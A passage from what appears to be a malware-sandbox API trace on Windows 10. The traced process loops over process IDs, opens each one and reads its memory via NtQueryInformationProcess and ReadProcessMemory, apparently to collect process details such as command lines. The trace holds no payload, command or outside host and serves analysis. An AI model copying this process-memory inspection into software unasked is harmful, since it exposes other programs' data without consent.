ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0203.193] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x39a020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0203.193] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5a12d0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0203.194] malloc (_Size=0x32) returned 0x196ef0d12d0 [0203.194] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5a1918, lpBuffer=0x196ef0d12d0, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d12d0*, lpNumberOfBytesRead=0x0) returned 1 [0203.194] free (_Block=0x196ef0d12d0) [0203.195] CloseHandle (hObject=0x458) returned 1 [0203.196] _ui64tow_s (in: _Value=0x2e0, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="736") returned 0x0 [0203.201] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="736") returned 3 [0203.202] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0203.202] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0203.458] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2e0) returned 0x458 [0203.458] GetLastError () returned 0x0 [0203.458] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0203.458] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0xa6def54018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0203.458] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0203.458] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x23ea7c31c70, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0203.459] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x23ea7c318c8, lpBuffer=0x670ffc3f0, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0203.460] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0203.462] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0203.462] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0xa6def54020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0203.463] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x23ea7c312b0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0203.463] malloc (_Size=0x6c) returned 0x196ef0d2120 [0203.463] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x23ea7c3190c, lpBuffer=0x196ef0d2120, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0203.464] free (_Block=0x196ef0d2120) [0203.465] CloseHandle (hObject=0x458) returned 1 [0203.466] _ui64tow_s (in: _Value=0x8d4, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2260") returned 0x0 [0203.471] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="2260") returned 4 [0203.472] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0203.472] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0203.488] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8d4) returned 0x458 [0203.488] GetLastError () returned 0x0 [0203.489] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0203.489] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1163c21018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0203.872] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0204.178] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1c798303780, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0204.607] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1c7983032e8, lpBuffer=0x670ffc3f0, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0205.016] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0205.217] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0205.217] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1163c21020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0205.575] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1c798302c60, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0205.873] malloc (_Size=0x118) returned 0x196ef0d6890 [0205.873] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1c798303388, lpBuffer=0x196ef0d6890, nSize=0x116, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d6890*, lpNumberOfBytesRead=0x0) returned 1 [0206.155] free (_Block=0x196ef0d6890) [0206.156] CloseHandle (hObject=0x458) returned 1 [0206.156] _ui64tow_s (in: _Value=0x934, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2356") returned 0x0 [0206.160] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="2356") returned 4 [0206.162] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0206.162] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0206.177] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x934) returned 0x458 [0206.177] GetLastError () returned 0x0 [0206.177] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0206.178] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0xc29bf78018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0206.434] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0206.640] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x28460e03730, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0207.254] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x28460e032b4, lpBuffer=0x670ffc3f0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0207.427] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0207.502] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0207.503] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0xc29bf78020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0207.651] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x28460e02c20, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0207.861] malloc (_Size=0x11a) returned 0x196ef0d4e70 [0207.861] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x28460e0334a, lpBuffer=0x196ef0d4e70, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0208.128] free (_Block=0x196ef0d4e70) [0208.129] CloseHandle (hObject=0x458) returned 1 [0208.130] _ui64tow_s (in: _Value=0x8, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="8") returned 0x0 [0208.134] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="8") returned 1 [0208.136] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0208.136] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0208.153] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8) returned 0x458 [0208.153] GetLastError () returned 0x0 [0208.153] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0208.153] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x227ce00018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0208.153] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0208.154] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1db5b303490, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0208.154] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1db5b3030e8, lpBuffer=0x670ffc3f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0208.155] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0208.156] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0208.156] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x227ce00020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0208.156] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1db5b302ad0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0208.157] malloc (_Size=0x6a) returned 0x196ef0d2120 [0208.157] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1db5b303128, lpBuffer=0x196ef0d2120, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0208.157] free (_Block=0x196ef0d2120) [0208.172] CloseHandle (hObject=0x458) returned 1 [0208.172] _ui64tow_s (in: _Value=0xae4, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2788") returned 0x0 [0208.178] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="2788") returned 4 [0208.180] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0208.180] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0208.197] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xae4) returned 0x458 [0208.197] GetLastError () returned 0x0 [0208.197] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0208.197] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2db7e47018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0208.198] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0208.198] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x17ffee61bd0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0208.198] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x17ffee61818, lpBuffer=0x670ffc3f0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0208.199] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0208.200] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0208.200] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2db7e47020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0208.200] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x17ffee61200, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0208.201] malloc (_Size=0x64) returned 0x196ef0d0370 [0208.201] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x17ffee61864, lpBuffer=0x196ef0d0370, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0208.201] free (_Block=0x196ef0d0370) [0208.202] CloseHandle (hObject=0x458) returned 1 [0208.202] _ui64tow_s (in: _Value=0xb40, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2880") returned 0x0 [0208.304] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="2880") returned 4 [0208.305] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0208.305] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0208.321] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb40) returned 0x458 [0208.321] GetLastError () returned 0x0 [0208.322] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0208.322] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x100358018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0208.322] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0208.322] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1822c721c80, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0208.322] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1822c7218c8, lpBuffer=0x670ffc3f0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0208.323] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0208.324] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0208.324] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x100358020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0208.325] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1822c7212b0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0208.325] malloc (_Size=0x72) returned 0x196ef0d2120 [0208.325] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1822c721922, lpBuffer=0x196ef0d2120, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0208.325] free (_Block=0x196ef0d2120) [0208.326] CloseHandle (hObject=0x458) returned 1 [0208.438] _ui64tow_s (in: _Value=0x4a8, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1192") returned 0x0 [0208.445] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="1192") returned 4 [0208.446] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x7b95ec4f, dwBuildNumber=0x7ffa, dwPlatformId=0x70ffc9a0, szCSDVersion="\x06") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0208.446] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0208.468] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4a8) returned 0x458 [0208.468] GetLastError () returned 0x0 [0208.468] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0208.469] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x251d53018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0208.702] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0208.933] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x170b8103510, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0209.231] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x170b810312a, lpBuffer=0x670ffc3f0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0209.681] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0209.881] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0209.881] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x251d53020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0210.219] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x170b8102ad0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0210.581] malloc (_Size=0xd6) returned 0x196ef0d4e70 [0210.581] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x170b8103192, lpBuffer=0x196ef0d4e70, nSize=0xd4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0211.052] free (_Block=0x196ef0d4e70) [0211.052] CloseHandle (hObject=0x458) returned 1 [0211.053] _ui64tow_s (in: _Value=0x2d8, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="728") returned 0x0 [0211.058] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="728") returned 3 [0211.059] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0211.059] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0211.083] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2d8) returned 0x0 [0211.083] CloseHandle (hObject=0x0) returned 0 [0211.083] _ui64tow_s (in: _Value=0x614, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1556") returned 0x0 [0211.088] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="1556") returned 4 [0211.089] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0211.089] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0211.263] OpenProcess 